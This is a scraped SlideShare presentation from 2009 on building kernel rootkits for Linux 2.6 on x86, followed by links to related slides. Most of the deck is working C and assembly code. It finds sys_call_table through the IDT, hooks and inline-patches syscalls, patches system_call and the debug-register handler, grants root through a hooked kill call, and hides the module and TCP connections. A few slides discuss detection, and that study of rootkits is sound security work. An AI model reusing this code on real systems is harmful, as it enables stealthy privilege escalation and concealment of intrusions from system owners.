SlideShare a Scribd company logo
Rootkit on Linux x86 v2.6

                  WangYao
                 2009-04-21
NOTE




 The report and code is very evil
       NOT distribute them
Index
    Rootkit In Brief
๎€Š


    Rootkit based on LKM
๎€Š


        How to get sys_call_table
    ๎€Š


        Simple sys_call_table hook
    ๎€Š


        Inline hook
    ๎€Š


        Patching system_call
    ๎€Š


        Abuse Debug Registers
    ๎€Š


        Real Rootkit
    ๎€Š



    Rootkit based non-LKM
๎€Š


        Using /dev/kmem and kmalloc
    ๎€Š


        Using /dev/mem and kmalloc
    ๎€Š
Rootkits In Brief

    โ€œA rootkit is a set of software tools intended to
๎€Š

    conceal running processes, files or system data
    from the operating systemโ€ฆ Rootkits often
    modify parts of the operating system or install
    themselves as drivers or kernel modules. โ€
    Rootkit, Trojans, Virus, Malware?
๎€Š


        Now, they often bind together, be called malware.
    ๎€Š
Rootkits' Category

    UserSpace Rootkit
๎€Š


        Run in user space
    ๎€Š


        Modify some files,libs,config files, and so on.
    ๎€Š



    KernelSpace Rootkit
๎€Š


        Run in kernel space
    ๎€Š


        Modify kernel structures, hook system calls at the
    ๎€Š

        lowest level
Rootkits' Common Function

    Hide Process
๎€Š


    Hide File
๎€Š


    Hide Network Connection
๎€Š


    Back Door
๎€Š


    Key Logger
๎€Š
Rootkits' Key words

    Hijack
๎€Š


    Hook
๎€Š


    System call
๎€Š


    sys_call_table
๎€Š


    sysenter
๎€Š


    IDT
๎€Š


    Debug Register
๎€Š
Rootkits based on LKM

    How to get sys_call_table
๎€Š


    Simple sys_call_table hook
๎€Š


    Inline hook
๎€Š


    Patching system_call
๎€Š


    Abuse Debug Registers
๎€Š


    Real Rootkit
๎€Š
sys_call_table
How to get sys_call_table

    Historically, LKM-based rootkits used the
๎€Š

    โ€˜sys_call_table[]โ€™ symbol to perform hooks on the
    system calls
      sys_call_table[__NR_open] = (void *) my_func_ptr;
๎€Š



    However, since sys_call_table[] is not an exported
๎€Š

    symbol anymore, this code isnโ€™t valid
    We need another way to find โ€˜sys_call_table[]โ€™
๎€Š
How to get sys_call_table

    The function โ€˜system_callโ€™ makes a direct
๎€Š

    access to โ€˜sys_call_table[]โ€™
    (arch/i386/kernel/entry.S:240)
               call *sys_call_table(,%eax,4)
๎€Š


    In x86 machine code, this translates to:
๎€Š


      0xff 0x14 0x85 <addr4> <addr3> <addr2> <addr1>
๎€Š


    Where the 4 โ€˜addrโ€™ bytes form the address of
๎€Š

    โ€˜sys_call_table[]โ€™
How to get sys_call_table

    Problem: โ€˜system_callโ€™ is not exported too
๎€Š



        Itโ€™s not, but we can discover where it is!
    ๎€Š


    โ€˜system_callโ€™ is set as a trap gate of the system
๎€Š

    (arch/i386/kernel/traps.c:1195):
     set_system_gate(SYSCALL_VECTOR,&system_call);
๎€Š



    In x86, this means that its address is stored inside the
๎€Š

    Interrupt Descriptor Table (IDT)
    The IDT location can be known via the IDT register
๎€Š

    (IDTR)
    And the IDTR, finally, can be retrieved by the SIDT
๎€Š

    (Store IDT) instruction
How to get sys_call_table

    Steps to get sys_call_table
๎€Š


        Get the IDTR using SIDT
    ๎€Š



        Extract the IDT address from the IDTR
    ๎€Š



        Get the address of โ€˜system_callโ€™ from the 0x80th entry of the
    ๎€Š

        IDT
        Search โ€˜system_callโ€™ for our code fingerprint
    ๎€Š


        We should have the address of โ€˜sys_call_table[]โ€™ by now,
    ๎€Š

        have fun!
IDT
IDT Descriptor

 3 Types:
 โ—Task Gate

 โ—Interrupt Gate

 โ—Trap Gate
get_system_call

                                                       struct idt_descriptor
void *get_system_call(void)
                                                       {
{
                                                          unsigned short off_low;
  unsigned char idtr[6];
                                                          unsigned short sel;
  unsigned long base;
                                                          unsigned char none, flags;
  struct idt_descriptor desc;
                                                          unsigned short off_high;
                                                       };
  asm (quot;sidt %0quot; : quot;=mquot; (idtr));
  base = *((unsigned long *) &idtr[2]);
  memcpy(&desc, (void *) (base + (0x80*8)), sizeof(desc));

  return((void *) ((desc.off_high << 16) + desc.off_low));

} /*********** fin get_sys_call_table() ***********/
get_sys_call_table
void *get_sys_call_table(void *system_call)
{
    unsigned char *p;
    unsigned long s_c_t;
    int count = 0;
    p = (unsigned char *) system_call;
    while (!((*p == 0xff) && (*(p+1) == 0x14) && (*(p+2) == 0x85)))
    {
        p++;
        if (count++ > 500)
        {
            count = -1;
            break;
        }
    }
    if (count != -1)
    {
        p += 3;
        s_c_t = *((unsigned long *) p);
    }
    else
        s_c_t = 0;
    return((void *) s_c_t);
} /********** fin get_sys_call_table() *************/
Simple sys_call_table Hook
 [...]

 asmlinkage int (*old_kill) (pid_t pid, int sig);

 [...]

 int init_module(void)
 {
   old_kill = sys_call_table[SYS_kill] ;
   sys_call_table[SYS_kill]= (void *) my_kill;

 [...]

 }

 void cleanup_module(void)
 {
   sys_call_table[SYS_kill] = old_kill;

 [...]

 }
...
  sys_exit
                      0xc0123456:   int sys_exit(int)
0xc0123456                     โ€ฆ
                               ..
  sys_fork            0xc0789101:   int sys_fork(void)
0xc0789101                     โ€ฆ
                               ..
                      0xc0112131:   int sys_read(int,void*,int)
 sys_read
                               โ€ฆ
0xc0112131                     ..
                      0xc0415161:   int sys_write(int,void*,int)
 Sys_write                     โ€ฆ
                               ..
0xc0415161
    ...
                   0xbadc0ded: int hacked_write(int,void*,void)
      Hacked Write
      0xbadc0ded
Simple kill syscall hook
asmlinkage int hacked_kill(pid_t pid, int sig)
{
  struct task_struct *ptr = current;
  int tsig = SIG, tpid = PID, ret_tmp;

   printk(quot;pid: %d, sig: %dnquot;, pid, sig);
   if ((tpid == pid) && (tsig == sig))           $whoami
   {                                             wangyao
       ptr->uid = 0;                             $Kill -s 58 12345
       ptr->euid = 0;                            $whoami
       ptr->gid = 0;                             $root
       ptr->egid = 0;
       return(0);
   }
   else
   {
       ret_tmp = (*orig_kill)(pid, sig);
       return(ret_tmp);
   }
   return(-1);
} /********** fin hacked_kill ************/
Inline hook
    ...
  sys_exit
                0xc0123456:   int sys_exit(int)
0xc0123456               โ€ฆ
                         ..
                0xc0789101:   int sys_fork(void)
  sys_fork
                         โ€ฆ
0xc0789101               ..
                0xc0112131:   int sys_read(int,void*,int)
                         โ€ฆ
 sys_read
                         ..
0xc0112131      0xc0415161:   int sys_write(int,void*,int)
                         โ€ฆ
                         ..
 sys_write
                                                             jmp hacked_write
0xc0415161
    ...                                                      โ€ฆโ€ฆ
             Hacked Write
             0xbadc0ded                  0xbadc0ded: int hacked_write(int,void*,void)

                                                             โ€ฆโ€ฆ
                                                             ret
Inline hook
printk(quot;Init inline hook.nquot;);
s_call = get_system_call();
sys_call_table = get_sys_call_table(s_call);

orig_kill = sys_call_table[__NR_kill];
memcpy(original_syscall, orig_kill, 5);

buff = (unsigned char*)orig_kill;
hookaddr = (unsigned long)hacked_kill;

//buff+5+offset = hookaddr
offset = hookaddr - (unsigned int)orig_kill - 5;
printk(quot;hook addr: %xnquot;, hookaddr);
printk(quot;offset: %xnquot;, offset);

*buff = 0xe9; //jmp
*(buff+1) = (offset & 0xFF);
*(buff+2) = (offset >> 8) & 0xFF;
*(buff+3) = (offset >> 16) & 0xFF;
*(buff+4) = (offset >> 24) & 0xFF;
printk(quot;Modify kill syscall.nquot;);
Detect simple sys_call_table hook
and inline hook
    Detections
๎€Š


        Saves the addresses of every syscall
    ๎€Š


        Saves the checksums of the first 31 bytes of every
    ๎€Š

        syscallโ€™s code
        Saves the checksums of these data themselves
    ๎€Š



    Now you canโ€™t change the addresses in the
๎€Š

    system call table
    Also canโ€™t patch the system calls with jmpโ€™s to
๎€Š

    your hooks
    More Tricks......
๎€Š
Patching system_call

    How to hook all syscalls, without modify
๎€Š

    sys_call_table and IDT? You can modify int
    0x80's handler(system_call), and manage the
    system calls directly.
system_call
---- arch/i386/kernel/entry.S ----
# system call handler stub
ENTRY(system_call)
   pushl %eax         # save orig_eax
   SAVE_ALL
   GET_THREAD_INFO(%ebp)

  cmpl $(nr_syscalls), %eax    ---> Those two instrutions will replaced by
  jae syscall_badsys           ---> Our Own jump

# system call tracing in operation
   testb $_TIF_SYSCALL_TRACE,TI_FLAGS(%ebp)
   jnz syscall_trace_entry
syscall_call:
   call *sys_call_table(,%eax,4)
   movl %eax,EAX(%esp) # store the return value
   ....
---- eof ----
Patching system_call Trick

    Original Code: 11 Bytes
๎€Š


        'cmpl $(nr_syscalls), %eax' ==> 5 Bytes
    ๎€Š


        'jae syscall_badsys' ==> 6 Bytes
    ๎€Š



    Jump Code: 5 Bytes
๎€Š


        'pushl $addr' ==> 5 Bytes
    ๎€Š


        'ret' ==> 1 Bytes
    ๎€Š
set_sysenter_handler
void set_sysenter_handler(void *sysenter)
{
  unsigned char *p;
  unsigned long *p2;
  p = (unsigned char *) sysenter;
  /* Seek quot;call *sys_call_table(,%eax,4)quot;*/
  while (!((*p == 0xff) && (*(p+1) == 0x14) && (*(p+2) == 0x85)))
     p++;
  /* Seek quot;jae syscall_badsysquot; */
  while (!((*p == 0x0f) && (*(p+1) == 0x83)))
     p--;

  p -= 5;
  memcpy(orig_sysenter, p, 6);
  start_patch_sysenter = p;

  /* We put the jump*/
  *p++ = 0x68; /*pushl*/
  p2 = (unsigned long *) p;
  *p2++ = (unsigned long) ((void *) new_idt);

    /*now, quot;jaequot;-->ret*/
    p = (unsigned char *) p2;
    *p = 0xc3; /*ret*/
} /************* fin set_sysenter_handler() **********/
new_idt & hook

                                              void hook(void)
void new_idt(void)
                                              {
{
                                                register int eax asm(quot;eaxquot;);
  ASMIDType
  (
                                                switch (eax)
     quot;cmp %0, %%eax     nquot;
                                                {
     quot;jae syscallbad  nquot;
                                                case __NR_kill:
     quot;jmp hook       nquot;
                                                  CallHookedSyscall(hacked_kill);
                                                  break;
     quot;syscallbad:          nquot;
                                                default:
     quot;jmp syscall_exit           nquot;
                                                  JmPushRet(syscall_call);
                                                  break;
  : : quot;iquot; (NR_syscalls)
                                                }
  );
                                                  JmPushRet( after_call );
} /********** fin new_idt() **************/
                                              } /*********** fin hook() ************/
Detect system_call hook

    Trick 1: Copy the system call table and patch
๎€Š

    the proper bytes in โ€˜system_callโ€™ with the new
    address
        This can be avoided by having St. Michael making
    ๎€Š

        checksums of โ€˜system_callโ€™ code too
    Trick 2: Copy โ€˜system_callโ€™ code, apply Trick 1
๎€Š

    on it, and modified the 0x80th ID in the IDT with
    the new address
        This can be avoided by having St. Michael storing
    ๎€Š

        the address of โ€˜system_callโ€™ too
Abuse Debug Registers

    DBRs 0-3: contain the linear address of a
๎€Š

    breakpoint. A debug exception (# DB) is
    generated when the case in an attempt to
    access at the breakpoint
    DBR 6: lists the conditions that were present
๎€Š

    when debugging or breakpoint exception was
    generated
    DBR 7: Specifies forms of access that will result
๎€Š

    in the debug exception to reaching breakpoint
Debug Registers
Evil Ideas of abusing debug
Registers
    Based on the above far this allows us to
๎€Š

    generate a #DB when the cpu try to run code
    into any memory location at our choice, even a
    kernel space
    Evil Ideas
๎€Š


        Set breakpoint on system_call(in 0x80's handler)
    ๎€Š


        Set breakpoint on sysenter_entry(sysenter handler)
    ๎€Š



    OMG, every syscall will be hooked!
๎€Š
The #DB also be managed through IDT
๎€Š


      ENTRY(debug)
๎€Š
        pushl $0
        pushl $SYMBOL_NAME(do_debug)
๎€Š
        jmp error_code
    fastcall void do_debug(struct *pt_regs,int errorcode)
๎€Š




    At the moment we can then divert any
๎€Š


    flow execution kernel to do_debug,
    without changing a single bit of text
    segment!
Some breakpoint code
/* DR2 2nd watch on the syscall_table entry for this syscall */
dr2 = sys_table_global + (unsigned int)regs->eax * sizeof(void *);
/* set dr2 read watch on syscall_table */
__asm__ __volatile__ ( quot;movl %0,%%dr2 ntquot;
             :
             : quot;rquot; (dr2) );

 /* get dr6 */
 __asm__ __volatile__ ( quot;movl %%dr6,%0 ntquot;
               : quot;=rquot; (status) );

                             /* enable exact breakpoint detection LE/GE */
                            s_control |= TRAP_GLOBAL_DR2;
                            s_control |= TRAP_LE;
                            s_control |= TRAP_GE;
                            s_control |= DR_RW_READ << DR2_RW;
                            s_control |= 3       << DR2_LEN;

                             /* set new control .. gives up syscall handler to avoid races */
                            __asm__ __volatile__ ( quot;movl %0,%%dr6 ntquot;
                                                      quot;movl %1,%%dr7 ntquot;
                                                      :
                                                      : quot;rquot; (status), quot;rquot; (s_control) );
Hook do_debug

    When hardware breakpoints appear, kernel will
๎€Š

    call do_debug(). BUT orignal do_debug() not
    set eip to our evil func. So we must hook
    do_debug() ourself.
    It means that INT 1 of IDT, will be set
๎€Š

    hacked_do_debug() insead of do_debug().
Find do_debug

KPROBE_ENTRY(debug)
    RING0_INT_FRAME
    cmpl $sysenter_entry,(%esp) <- find sysenter_entry here too!
    jne debug_stack_correct
    FIX_STACK(12, debug_stack_correct, debug_esp_fix_insn)
debug_stack_correct:
    pushl $-1              # mark this as an int
    CFI_ADJUST_CFA_OFFSET 4
    SAVE_ALL
    xorl %edx,%edx            # error code 0
    movl %esp,%eax              # pt_regs pointer
    call do_debug            <- PATCH ME!
    jmp ret_from_exception
    CFI_ENDPROC
KPROBE_END(debug)
Patch do_debug
static int __get_and_set_do_debug_2_6(unsigned int handler, unsigned int my_do_debug)
{
   unsigned char *p      = (unsigned char *)handler;
   unsigned char buf[4] = quot;x00x00x00x00quot;;
   unsigned int offset = 0, orig     = 0;

    /* find a candidate for the call .. needs better heuristics */
    while (p[0] != 0xe8)
        p ++;
    buf[0] = p[1];
    buf[1] = p[2];
    buf[2] = p[3];
    buf[3] = p[4];

    offset = *(unsigned int *)buf;
    orig = offset + (unsigned int)p + 5;
    offset = my_do_debug - (unsigned int)p - 5;

    p[1]   = (offset & 0x000000ff);
    p[2]   = (offset & 0x0000ff00) >> 8;
    p[3]   = (offset & 0x00ff0000) >> 16;
    p[4]   = (offset & 0xff000000) >> 24;

    return orig;
}
Debug register hook

    From hacked_do_debug can then have access
๎€Š

    to the value of eip representing the return
    address on the person who triggered the
    breakpoint, which is the kernel in our case, so
    you can change at will the flow of execution
    after the procedure!
    Changing eip can send a running our routine
๎€Š

    that once made the 'dirty work' take care to
    restore the original flow of execution
        regs->eip = (unsigned int)hook_table[regs->eax];
Execution flow
hacked_do_debug
hacked_do_debug():
/* get dr6 */
__asm__ __volatile__ ( quot;movl %%dr6,%0 ntquot; : quot;=rquot; (status) );
......
/* check for trap on dr2 */
if (status & DR_TRAP2)
{
    trap = 2;
    status &= ~DR_TRAP2;
}
......
if ((regs->eax >= 0 && regs->eax < NR_syscalls) && hook_table[regs->eax])
{
    /* double check .. verify eip matches original */
    unsigned int verify_hook = (unsigned int)sys_p[regs->eax];
    if (regs->eip == verify_hook)
    {
       // ่ฟ™้‡Œ่ฎพ็ฝฎไธ‹ไธ€ๆญฅ็š„ๆ‰ง่กŒๅ‡ฝๆ•ฐ
        regs->eip = (unsigned int)hook_table[regs->eax];
        DEBUGLOG((quot;*** hooked __NR_%d at %X to %Xnquot;, regs->eax, verify_hook, 
               (unsigned int)hook_table[regs->eax]));
    }
}
......
More Evil

    We modified do_debug(), if someone check the
๎€Š

    address of do_debug(), will find the rootkit.
    Wait, if we set another hardware breakpoint on
๎€Š

    do_debug()'s address. It means that we can
    return someone the wrong address of
    do_debug(), and can not be detected.
    Debug Regiser Save us again :-)
๎€Š
Real Rootkit

    Strace system call
๎€Š


    Hook system call
๎€Š


    Hide rootkit self
๎€Š
Strace system call
$strace ls
......
open(quot;.quot;, O_RDONLY|O_NONBLOCK|O_LARGEFILE|O_DIRECTORY|0x80000) = 3
fstat64(3, {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0
fcntl64(3, F_GETFD)                  = 0x1 (flags FD_CLOEXEC)
getdents64(3, /* 9 entries */, 4096) = 272
getdents64(3, /* 0 entries */, 4096) = 0
close(3)                       =0
......
$strace ps
......
stat64(quot;/proc/3105quot;, {st_mode=S_IFDIR|0555, st_size=0, ...}) = 0
open(quot;/proc/3105/statquot;, O_RDONLY)           =6
read(6, quot;3105 (kmpathd/0) S 2 0 0 0 -1 41quot;..., 1023) = 130
close(6)                       =0
......                      $strace netstat -ant
                            ......
                            open(quot;/proc/net/tcpquot;, O_RDONLY)            =3
                            read(3, quot; sl local_address rem_address quot;..., 4096) = 600
                            write(1, quot;tcp      0   0 0.0.0.0:21 quot;..., 80) = 80
                            write(1, quot;tcp      0   0 192.168.122.quot;..., 80) = 80
                            write(1, quot;tcp      0   0 127.0.0.1:63quot;..., 80) = 80
                            read(3, quot;quot;, 4096)               =0
                            close(3)                      =0
                            ......
Hook system call

    Have be discussed Previously
๎€Š


        Simple sys_call_table hook
    ๎€Š


        Inline hook
    ๎€Š


        Patching system_call
    ๎€Š


        Abuse Debug Registers
    ๎€Š
Hide module & network
struct module *m = &__this_module;

/* Delete from the module list*/
if (m->init == init_module)
    list_del(&m->list);




             struct proc_dir_entry *tcp = proc_net->subdir->next;

             /* redefine tcp4_seq_show() */
             while (strcmp(tcp->name, quot;tcpquot;) && (tcp != proc_net->subdir))
                 tcp = tcp->next;

             /* Hide TCP Connection Information in /proc/net/tcp */
             if (tcp != proc_net->subdir)
             {
                 orig_tcp4_seq_show = ((struct tcp_seq_afinfo *)(tcp->data))->seq_show;
                 ((struct tcp_seq_afinfo *)(tcp->data))->seq_show = hacked_tcp4_seq_show;
             }
Rootkits based on non-LKM

    Access kernel resource from userspace
๎€Š

    through some infrastructure of Linux, Mostly
    based on /dev/kmem and /dev/mem.
    Famous rootkit
๎€Š


        suckit
    ๎€Š
/dev/kmem

    /dev/kmem
๎€Š


        Kernel space virtual memory snapshot
    ๎€Š



    /dev/mem
๎€Š


        Physical memory snapshot
    ๎€Š



    Hacking
๎€Š


        read/write
    ๎€Š


        mmap
    ๎€Š
Using kmalloc based non-LKM
code injection
    The addresses of the syscall table and of the function kmalloc()
๎€Š

    within the kernel are found by searching kernel memory for
    certain patterns.
    The function kmalloc() is internal to the kernel and needed to
๎€Š

    reserve space in kernel memory. The address of kmalloc() is
    put into an unused entry of the syscall table.
    kmalloc() is executed as a system call and memory in the
๎€Š

    kernel is allocated.
    The rootkit is written to the freshly reserved space in the kernel.
๎€Š



    The address of the rootkit is put into the unused entry of the
๎€Š

    syscall table, overwriting the address of kmalloc().
    The rootkit is called as a system call and finally running in
๎€Š

    kernel mode.
Steps of suckit 1.3a

    Sidt
๎€Š


    read/mmap /dev/kmem
๎€Š


    Search fingerprint opcode
๎€Š


    Set kmalloc into sys_call_table
๎€Š


    Insert rootkit opcode into kernel(Patching)
๎€Š


    Hook......
๎€Š
Detection of rootkit based
/dev/kmem
    Most of distributions have disabled /dev/kmem
๎€Š

    feature.
    Device Drivers => Character Devices =>
๎€Š

    /dev/kmem virtual device support
    BUT Debian still has this hole ;-)
๎€Š


    Detection:
๎€Š


        Using the same steps to check sys_call_table
    ๎€Š


        Using LKM to check sys_call_table
    ๎€Š
/dev/mem

    /dev/mem
๎€Š


        Driver interface to physically addressable memory.
    ๎€Š


        lseek() to offset in โ€œfileโ€ = offset in physical mem
    ๎€Š


             EG: Offset 0x100000 = Physical Address 0x100000
         ๎€Š



        Reads/Writes like a regular character device
    ๎€Š



    /dev/mem is same with /dev/kmem
๎€Š


        Same techniques with Virt -> Phys address
    ๎€Š

        translation
Address Translation

    Higher half GDT loading concept applies
๎€Š


    Bootloader trick to use Virtual Addresses along
๎€Š

    with GDT in unprotected mode to resolve
    physical addresses.
        Kernel usually loaded at 0x100000 (1MB) in
    ๎€Š

        physical memory
        Mapped to 0xC0100000 (3GB+1MB) Virtually
    ๎€Š
Address Translation




0xC0100000 + 0x40000000
=0xC0100000 โ€“ 0xC0000000
=0x00100000
/dev/mem's address translation
code
 #define KERN_START 0xC0000000
 int iskernaddr(unsigned long addr)
 {
       /*is address valid?*/
       if(addr<KERN_START)
             return -1;
       else
             return 0 ;
 }

 /*read from kernel virtual address*/
 int read_virt(unsigned long addr, void *buf, unsigned int len)
 {
       if( iskernaddr(addr)<0 )
             return -1;

     addr = addr - KERN_START;

     lseek(mem_fd, addr, SEEK_SET);

     return read(mem_fd, buf, len);
 }
Steps of rootkit using /dev/mem
and kmalloc
    Sidt
๎€Š


    Read /dev/mem [address translation]
๎€Š


    Search fingerprint opcode
๎€Š


    Set kmalloc into sys_call_table
๎€Š


    Insert rootkit opcode into kernel(Patching)
๎€Š


    Hook......
๎€Š
Detection of rootkit based
/dev/mem
    SELinux has created a patch to address this
๎€Š

    problem (RHEL and Fedora kernels are safe)
    Mainline kernel addressed this from 2.6.26
๎€Š


        Kernel Hacking => Filter access to /dev/mem
    ๎€Š



    Detection:
๎€Š


        Using the same steps to check sys_call_table
    ๎€Š


        Using LKM to check sys_call_table
    ๎€Š
Next

    BIOS rootkit
๎€Š


    PCI rootkit
๎€Š


    Virtualize Machine rootkit
๎€Š


        subvirt
    ๎€Š



    Bootkit
๎€Š


        NTLDR
    ๎€Š


        Grub
    ๎€Š
Reference
    LKM Rootkits on Linux x86 v2.6:
๎€Š

    http://www.enye-sec.org/textos/lkm.rootkits.en.linux.x86.v2.6.txt
    Mistifying the debugger, ultimate stealthness
๎€Š

    http://www.phrack.com/issues.html?issue=65&id=8
    Advances in attacking linux kernel
๎€Š

    http://darkangel.antifork.org/publications/Advances%20in%20attacking%20linux%
    Kernel-Land Rootkits
๎€Š

    http://www.h2hc.com.br/repositorio/2006/Kernel-Land%20Rootkits.pps
    Intelยฎ 64 and IA-32 Architectures Software Developer's Manuals
๎€Š

    www.intel.com/products/processor/manuals/
    Developing Your Own OS On IBM PC
๎€Š

    http://docs.huihoo.com/gnu_linux/own_os/index.htm
    Handling Interrupt Descriptor Table for fun and profit
๎€Š

    http://www.phrack.org/issues.html?issue=60&id=6
    Execution path analysis: finding kernel based rootkits
๎€Š

    http://www.phrack.org/issues.html?issue=59&id=10
    Malicious Code Injection via /dev/mem
๎€Š
Show Time;-)
Q&A

More Related Content

What's hot

Stupid Awesome Python Tricks
Stupid Awesome Python TricksStupid Awesome Python Tricks
Stupid Awesome Python TricksBryan Helmig
ย 
Embedded systemsproject_2020
Embedded systemsproject_2020Embedded systemsproject_2020
Embedded systemsproject_2020Nikos Mouzakitis
ย 
ะžะฑะทะพั€ ั„ั€ะตะนะผะฒะพั€ะบะฐ Twisted
ะžะฑะทะพั€ ั„ั€ะตะนะผะฒะพั€ะบะฐ Twistedะžะฑะทะพั€ ั„ั€ะตะนะผะฒะพั€ะบะฐ Twisted
ะžะฑะทะพั€ ั„ั€ะตะนะผะฒะพั€ะบะฐ TwistedMaxim Kulsha
ย 
PHP Static Code Review
PHP Static Code ReviewPHP Static Code Review
PHP Static Code ReviewDamien Seguy
ย 
Your code is not a string
Your code is not a stringYour code is not a string
Your code is not a stringIngvar Stepanyan
ย 
Clojurianใ‹ใ‚‰ใฟใŸElixir
Clojurianใ‹ใ‚‰ใฟใŸElixirClojurianใ‹ใ‚‰ใฟใŸElixir
Clojurianใ‹ใ‚‰ใฟใŸElixirKent Ohashi
ย 
Rust โ‡‹ JavaScript
Rust โ‡‹ JavaScriptRust โ‡‹ JavaScript
Rust โ‡‹ JavaScriptIngvar Stepanyan
ย 
DEF CON 24 - Patrick Wardle - 99 problems little snitch
DEF CON 24 - Patrick Wardle - 99 problems little snitchDEF CON 24 - Patrick Wardle - 99 problems little snitch
DEF CON 24 - Patrick Wardle - 99 problems little snitchFelipe Prado
ย 
Html5 game, websocket e arduino
Html5 game, websocket e arduinoHtml5 game, websocket e arduino
Html5 game, websocket e arduinomonksoftwareit
ย 
Oxygine 2 d objects,events,debug and resources
Oxygine 2 d objects,events,debug and resourcesOxygine 2 d objects,events,debug and resources
Oxygine 2 d objects,events,debug and resourcescorehard_by
ย 
Html5 game, websocket e arduino
Html5 game, websocket e arduino Html5 game, websocket e arduino
Html5 game, websocket e arduino Giuseppe Modarelli
ย 
Moony li pacsec-1.8
Moony li pacsec-1.8Moony li pacsec-1.8
Moony li pacsec-1.8PacSecJP
ย 
AST Rewriting Using recast and esprima
AST Rewriting Using recast and esprimaAST Rewriting Using recast and esprima
AST Rewriting Using recast and esprimaStephen Vance
ย 
Esprima - What is that
Esprima - What is thatEsprima - What is that
Esprima - What is thatAbhijeet Pawar
ย 
JavaScript and the AST
JavaScript and the ASTJavaScript and the AST
JavaScript and the ASTJarrod Overson
ย 

What's hot (17)

Stupid Awesome Python Tricks
Stupid Awesome Python TricksStupid Awesome Python Tricks
Stupid Awesome Python Tricks
ย 
Embedded systemsproject_2020
Embedded systemsproject_2020Embedded systemsproject_2020
Embedded systemsproject_2020
ย 
ะžะฑะทะพั€ ั„ั€ะตะนะผะฒะพั€ะบะฐ Twisted
ะžะฑะทะพั€ ั„ั€ะตะนะผะฒะพั€ะบะฐ Twistedะžะฑะทะพั€ ั„ั€ะตะนะผะฒะพั€ะบะฐ Twisted
ะžะฑะทะพั€ ั„ั€ะตะนะผะฒะพั€ะบะฐ Twisted
ย 
PHP Static Code Review
PHP Static Code ReviewPHP Static Code Review
PHP Static Code Review
ย 
Your code is not a string
Your code is not a stringYour code is not a string
Your code is not a string
ย 
Clojurianใ‹ใ‚‰ใฟใŸElixir
Clojurianใ‹ใ‚‰ใฟใŸElixirClojurianใ‹ใ‚‰ใฟใŸElixir
Clojurianใ‹ใ‚‰ใฟใŸElixir
ย 
Rust โ‡‹ JavaScript
Rust โ‡‹ JavaScriptRust โ‡‹ JavaScript
Rust โ‡‹ JavaScript
ย 
DEF CON 24 - Patrick Wardle - 99 problems little snitch
DEF CON 24 - Patrick Wardle - 99 problems little snitchDEF CON 24 - Patrick Wardle - 99 problems little snitch
DEF CON 24 - Patrick Wardle - 99 problems little snitch
ย 
Html5 game, websocket e arduino
Html5 game, websocket e arduinoHtml5 game, websocket e arduino
Html5 game, websocket e arduino
ย 
Oxygine 2 d objects,events,debug and resources
Oxygine 2 d objects,events,debug and resourcesOxygine 2 d objects,events,debug and resources
Oxygine 2 d objects,events,debug and resources
ย 
OpenCL 3.0 Reference Guide
OpenCL 3.0 Reference GuideOpenCL 3.0 Reference Guide
OpenCL 3.0 Reference Guide
ย 
Html5 game, websocket e arduino
Html5 game, websocket e arduino Html5 game, websocket e arduino
Html5 game, websocket e arduino
ย 
Moony li pacsec-1.8
Moony li pacsec-1.8Moony li pacsec-1.8
Moony li pacsec-1.8
ย 
AST Rewriting Using recast and esprima
AST Rewriting Using recast and esprimaAST Rewriting Using recast and esprima
AST Rewriting Using recast and esprima
ย 
3
33
3
ย 
Esprima - What is that
Esprima - What is thatEsprima - What is that
Esprima - What is that
ย 
JavaScript and the AST
JavaScript and the ASTJavaScript and the AST
JavaScript and the AST
ย 

Viewers also liked

Linux kernel-rootkit-dev - Wonokaerun
Linux kernel-rootkit-dev - WonokaerunLinux kernel-rootkit-dev - Wonokaerun
Linux kernel-rootkit-dev - Wonokaerunidsecconf
ย 
A particle filter based scheme for indoor tracking on an Android Smartphone
A particle filter based scheme for indoor tracking on an Android SmartphoneA particle filter based scheme for indoor tracking on an Android Smartphone
A particle filter based scheme for indoor tracking on an Android SmartphoneDivye Kapoor
ย 
Cybermania Prelims
Cybermania PrelimsCybermania Prelims
Cybermania PrelimsDivye Kapoor
ย 
OMFW 2012: Analyzing Linux Kernel Rootkits with Volatlity
OMFW 2012: Analyzing Linux Kernel Rootkits with VolatlityOMFW 2012: Analyzing Linux Kernel Rootkits with Volatlity
OMFW 2012: Analyzing Linux Kernel Rootkits with VolatlityAndrew Case
ย 
Rootkit 102 - Kernel-Based Rootkit
Rootkit 102 - Kernel-Based RootkitRootkit 102 - Kernel-Based Rootkit
Rootkit 102 - Kernel-Based RootkitChia-Hao Tsai
ย 
Kernel Recipes 2015: The stable Linux Kernel Tree - 10 years of insanity
Kernel Recipes 2015: The stable Linux Kernel Tree - 10 years of insanityKernel Recipes 2015: The stable Linux Kernel Tree - 10 years of insanity
Kernel Recipes 2015: The stable Linux Kernel Tree - 10 years of insanityAnne Nicolas
ย 
Cybermania Mains
Cybermania MainsCybermania Mains
Cybermania MainsDivye Kapoor
ย 
Linux performance
Linux performanceLinux performance
Linux performanceWill Sterling
ย 
Linux Internals - Kernel/Core
Linux Internals - Kernel/CoreLinux Internals - Kernel/Core
Linux Internals - Kernel/CoreShay Cohen
ย 
The TCP/IP stack in the FreeBSD kernel COSCUP 2014
The TCP/IP stack in the FreeBSD kernel COSCUP 2014The TCP/IP stack in the FreeBSD kernel COSCUP 2014
The TCP/IP stack in the FreeBSD kernel COSCUP 2014Kevin Lo
ย 
LAS16-403 - GDB Linux Kernel Awareness
LAS16-403 - GDB Linux Kernel Awareness LAS16-403 - GDB Linux Kernel Awareness
LAS16-403 - GDB Linux Kernel Awareness Peter Griffin
ย 
The Linux Kernel Implementation of Pipes and FIFOs
The Linux Kernel Implementation of Pipes and FIFOsThe Linux Kernel Implementation of Pipes and FIFOs
The Linux Kernel Implementation of Pipes and FIFOsDivye Kapoor
ย 
Linux Kernel Exploitation
Linux Kernel ExploitationLinux Kernel Exploitation
Linux Kernel ExploitationScio Security
ย 
Part 04 Creating a System Call in Linux
Part 04 Creating a System Call in LinuxPart 04 Creating a System Call in Linux
Part 04 Creating a System Call in LinuxTushar B Kute
ย 
Rootkit
RootkitRootkit
RootkitAlex Avila
ย 
Applying Memory Forensics to Rootkit Detection
Applying Memory Forensics to Rootkit DetectionApplying Memory Forensics to Rootkit Detection
Applying Memory Forensics to Rootkit DetectionIgor Korkin
ย 
ไบ†่งฃ็ฝ‘็ปœ
ไบ†่งฃ็ฝ‘็ปœไบ†่งฃ็ฝ‘็ปœ
ไบ†่งฃ็ฝ‘็ปœFeng Yu
ย 
Debugging Applications with GNU Debugger
Debugging Applications with GNU DebuggerDebugging Applications with GNU Debugger
Debugging Applications with GNU DebuggerPriyank Kapadia
